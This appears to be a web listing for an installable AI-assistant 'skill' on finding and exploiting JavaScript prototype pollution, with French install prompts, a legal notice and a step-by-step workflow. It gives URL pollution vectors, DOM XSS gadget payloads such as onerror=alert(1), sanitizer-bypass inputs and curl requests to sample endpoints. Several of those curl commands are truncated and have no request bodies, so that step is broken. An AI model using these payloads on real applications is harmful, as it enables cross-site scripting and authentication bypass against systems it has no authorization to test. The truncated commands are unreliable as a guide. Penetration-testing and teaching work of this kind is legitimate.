Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript/Node.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript/Node.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.
When testing Node.js or JavaScript-heavy web applications
During assessment of APIs accepting deep-merged JSON objects
When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
During code review of object merge/clone/extend operations
When evaluating npm packages for prototype pollution gadgets
Prerequisites
Burp Suite with DOM Invader extension for client-side prototype pollution detection
Node.js development environment for server-side testing
Understanding of JavaScript prototype chain and object inheritance
Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
Prototype Pollution Gadgets Scanner Burp extension for server-side detection
Browser developer console for client-side prototype manipulation
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Prototype Pollution Sources
// Client-side: Test URL-based sources// Navigate to: http://target.com/page?__proto__[polluted]=true// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true// Check in browser console:console.log(({}).polluted); // If returns "true", pollution confirmed// Common URL-based pollution vectors:// ?__proto__[key]=value// ?__proto__.key=value// ?constructor[prototype][key]=value// ?constructor.prototype.key=value// Hash fragment pollution:// http://target.com/#__proto__[key]=value
Step 2 — Test Server-Side Prototype Pollution
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d
curl -X POST http://target.com/api/update \
-H \
-d
curl -X POST http://target.com/api/merge \
-H \
-d
curl -X POST http://target.com/api/settings \
-H \
-d
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)// Step 2: Find a gadget - a property read from prototype that reaches a sink// Common gadgets for DOM XSS:// innerHTML gadget:// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>// jQuery $.html() gadget:// ?__proto__[html]=<img/src/onerror=alert(1)>// transport URL gadget (common in analytics scripts):// ?__proto__[transport_url]=data:,alert(1)//// Sanitizer bypass via prototype pollution:// ?__proto__[allowedTags]=<script>// ?__proto__[tagName]=IMG// Use DOM Invader (Burp Suite built-in):// 1. Enable DOM Invader in Burp's embedded browser// 2. Enable Prototype Pollution option// 3. Browse application - DOM Invader auto-detects sources// 4. Click "Scan for gadgets" to find exploitable sinks